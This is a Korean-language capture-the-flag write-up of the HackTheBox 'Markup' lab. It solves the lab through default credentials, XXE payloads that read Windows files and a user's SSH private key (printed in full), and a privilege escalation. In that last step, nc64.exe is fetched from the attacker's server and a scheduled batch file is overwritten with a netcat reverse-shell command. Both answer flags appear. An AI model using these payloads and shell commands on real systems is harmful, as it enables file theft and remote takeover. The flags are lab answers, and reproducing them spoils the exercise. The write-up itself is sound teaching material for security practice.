HackTheBox Labs Writeup - Markup

이 글에서는 HackTheBox 의 Startingpoint 머신 중 하나인 Markup 머신에 대한 풀이 방법에 대해 설명한다.

Task 1
Question : What version of Apache is running on the target's port 80?
80번 포트에서 서비스 중인 Apache의 버전을 묻고 있다. nmap 으로 버전을 확인해보자.
$ sudo nmap -p- -sV -sC -Pn 10.129.95.192
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-11 08:34 EDT
Nmap scan report for 10.129.95.192
Host is up (0.22s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 9fa0f78cc6e2a4bd718768823e5db79f (RSA)
| 256 907d96a96e9e4d4094e7bb55ebb30b97 (ECDSA)
|_ 256 f910eb76d46d4f3e17f393d60b8c4b81 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: MegaShopping
443/tcp open ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
| tls-alpn:
|_ http/1.1
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: MegaShopping
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
80번 포트에서 서비스 중인 Apache 버전은 2.4.41 이다.
Answer : 2.4.41
Task 2
Question : What username:password combination logs in successfully?
웹사이트에 접속할 수 있는 아이디 패스워드를 묻고 있다. 주어진 IP 로 접속할 결과 아래와 같은 웹사이트에 접속할 수 있었다.

웹사이트에 대한 특별한 정보가 없어 기본적으로 사용되는 아이디, 패스워드를 사용하여 접속 시도한 결과 admin
, password
로 접속할 수 있었다.
Answer : admin:password
Task 3
Question : What is the word at the top of the page that accepts user input?
웹사이트에 로그인하면 Home
, About
, 등 몇 개의 탑 페이지가 존재한다. 그 중 Order
페이지에 사용자가 입력할 수 있는 form 이 존재한다.

사용자 입력 후 Submit
버튼을 클릭하면 getXml()
이라는 함수가 실행되는 것을 알 수 있다.

getXml()
함수는 다음과 같다. 핵심적인 부분은 Address
란에 적힌 데이터를 xml 포맷으로 생성하여 process.php
에 전달한다.
<script>
function getXml() {
var elements = document.forms.myForm.elements;
var xmlTemplate = '<?xml version = "1.0"?><order>';
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.tagName == "INPUT") {
xmlTemplate = xmlTemplate + '<' + element.name + '>' + element.value + '</' + element.name + '>';
}
}
var e = document.getElementById("items");
var item = e.options[e.selectedIndex].value;
xmlTemplate = xmlTemplate + '<item>' + item + '</item>' + '<address>' + document.getElementById("address").value + '</address></order>';
var http = new XMLHttpRequest();
var url = 'process.php';
http.open('POST', url, true);
http.setRequestHeader('Content-Type', 'text/xml');
http.onreadystatechange = function () {
if (http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(xmlTemplate);
}
</script>
Answer : order
Task 4
Question : What XML version is used on the target?
Burpsuite 를 이용하여 앞서 본 Submit 버튼을 클릭할 시 발생하는 패킷을 보면 아래와 같다. 내용을 보면 xml version = "1.0"
인 것으로 보아 1.0 버전으로 판단된다.

Answer : 1.0
Task 5
Question : What does the XXE / XEE attack acronym stand for?
구글링해보면 XXE 는 XML external entity 의 약자인 것을 확인할 수 있다. XXE 공격은 XML을 파싱하는 서비스에 악의적으로 조작된 XML 데이터를 전달하여 악성 행위를 실행하는 공격이다.
앞서 보았던 address 란에 악성 XML 을 전달하여 악성 행위를 실행할 수 있는지 테스트해보자.
구글링을 하면 XXE Payload 를 많이 찾을 수 있다. payload 를 시험하기에 앞서 해당 서버의 OS 종류를 알아야 한다. Wappalyzer 를 이용해 확인해보니 Windows Server 이다.

Burpsuite 로 다음과 같은 XML 구문을 보내면 c:/windows/win.ini
파일의 내용을 읽을 수 있는 것으로 보아 XXE 공격이 통하는 것을 알 수 있다.
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY item SYSTEM 'file:///c:/windows/win.ini'>]>
<order>
<quantity>
3
</quantity>
<item>
&item;
</item>
<address>
111
</address>
</order>
Answer : XML external entity
Task 6
Question : What username can we find on the webpage's HTML code?
Order 페이지(http://10.129.95.192/services.php
) 의 html 코드를 보면 다음과 같이 daniel 이라는 사람에 의해 수정되었다는 주석이 달려 있는 것을 확인할 수 있다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Goods & Services</title>
<!-- Modified by Daniel : UI-Fix-9092-->
<style>
... 후략 ...
Answer : daniel
앞서 알아낸 정보들을 정리하면 다음과 같다.
- nmap 결과 22번 포트에서 ssh 서비스 중.
- XXE 취약점을 가지는 서비스 존재.
daniel
이라는 사용자가 있을 가능성이 높음.
위 정보를 이용하면 XXE 취약점을 이용하여 daniel 사용자의 ssh key 를 알아내 ssh 접속이 가능할 것이다.
Burpsuite 를 이용해 다음과 같은 XML 구문을 전달하면 daniel 의 ssh key(c:/users/daniel/.ssh/id_rsa
) 파일 정보를 읽을 수 있다.
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY item SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
<order>
<quantity>
3
</quantity>
<item>
&item;
</item>
<address>
111
</address>
</order>

ssh key 파일 내용은 다음과 같다.
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
해당 데이터를 복사하여 local 시스템에 파일로 생성하자. 참고로 권한은 사용자만 읽을 수 있게 해야 사용이 가능하다.
$ touch id_rsa
// 앞서 구한 Openssh Private key 복사.
$ chmod 400 id_rsa
id_rsa
파일을 이용해 daniel
로 접속 할 수 있다.
$ ssh -i '/home/kali/Desktop/#htb/markup/id_rsa' daniel@10.129.95.192
Task 7
Question : What is the file located in the Log-Management folder on the target?
daniel
로 접속해 C:\Log-Management
폴더로 가보면 job.bat
이란 파일을 볼 수 있다.
daniel@MARKUP C:\Log-Management>dir
Volume in drive C has no label.
Volume Serial Number is BA76-B4E3
Directory of C:\Log-Management
03/12/2020 03:56 AM <DIR> .
03/12/2020 03:56 AM <DIR> ..
03/06/2020 02:42 AM 346 job.bat
1 File(s) 346 bytes
2 Dir(s) 7,374,663,680 bytes free
Answer : job.bat
Task 8
Question : What executable is mentioned in the file mentioned before?
job.bat
파일 내용은 다음과 같다. bat 스크립트를 자세히 살펴보면 wevtutil.exe
파일이 사용되고 있음을 알 수 있다.
daniel@MARKUP C:\Log-Management>type job.bat
@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit
Answer : wevtutil.exe
User Flag
Question : Submit user flag
user flag 는 C:\Users\daniel\Desktop\user.txt
파일에 존재한다. XXE 취약점을 이용해 daniel 의 openssh 키 값을 알아내어 ssh 접속에 성공하면 해당 파일 값을 읽을 수 있다.
PS C:\Users\daniel\Desktop> type C:\Users\daniel\Desktop\user.txt
032d2fc8952a8c24e39c8f0ee9918ef7
Answer : 032d2fc8952a8c24e39c8f0ee9918ef7
Root Flag
Question : Submit root flag
root 권한을 얻기 위해서는 C:\Log-Management
폴더에서 발견한 job.bat
파일을 이용해야 한다. job.bat
파일 스크립트를 대략적으로 해석하면 wevtutil.exe
을 이용하여 로그 파일을 정리하는 스크립트이다. 해당 파일은 관리자 권한이 없으면 실행이 불가능하므로, 아마 실행된다면 관리자 권한으로 실행되고 있을 것이다.
icacls job.bat
명령어로 job.bat
의 권한을 확인하면 daniel 이 속한 BUILTIN\Users
그룹에 F(Full) 권한이 있는 것을 확인할 수 있다. 해당 스크립트 내용을 수정하여 리버스 셸을 실행하도록 만든다면 관리자 권한을 획득할 수 있을 것이다.
daniel@MARKUP C:\Log-Management>icacls job.bat
job.bat BUILTIN\Users:(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
local 시스템에서 다음 명령어를 실행하여 windows64 용 netcat 을 다운로드하고 공격 대상 시스템에서 다운로드할 수 있도록 python http.server 모듈로 파일 서버를 생성한다.
$ git clone https://github.com/int0x33/nc.exe/
$ cd ./nc.exe
$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.129.95.192 - - [11/Aug/2024 10:17:00] "GET /nc64.exe HTTP/1.1" 200
공격 대상 시스템에서 curl 명령어로 local 시스템의 nc64.exe 를 다운로드한다.
daniel@MARKUP C:\Log-Management>curl -o nc64.exe http://10.10.16.12:8888/nc64.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 45272 100 45272 0 0 45272 0 0:00:01 0:00:01 --:--:-- 35759
job.bat
을 수정하기에 앞서, local 시스템에서 netcat 을 리스닝 모드로 실행하여 리버스셸을 받을 준비를 한다.
$ nc -lnvp 9999
아래 명령어를 실행하여 업로드한 nc64.exe 파일을 실행하여 리버스셸을 수립하도록 job.bat
파일 내용을 수정한다.
echo C:\Users\daniel\Desktop\nc64.exe -e cmd.exe {local pc ip} {port} > "C:\Log-Management\job.bat"
공격 대상 시스템은 주기적으로 job.bat
을 실행하므로, 잠시 후 리버스 셸이 성립되는 것을 확인할 수 있다. root flag 는 C:\Users\Administrator\Desktop\root.txt
에 존재한다.
> type C:\Users\Administrator\Desktop\root.txt
f574a3e7650cebd8c39784299cb570f8
Answer : f574a3e7650cebd8c39784299cb570f8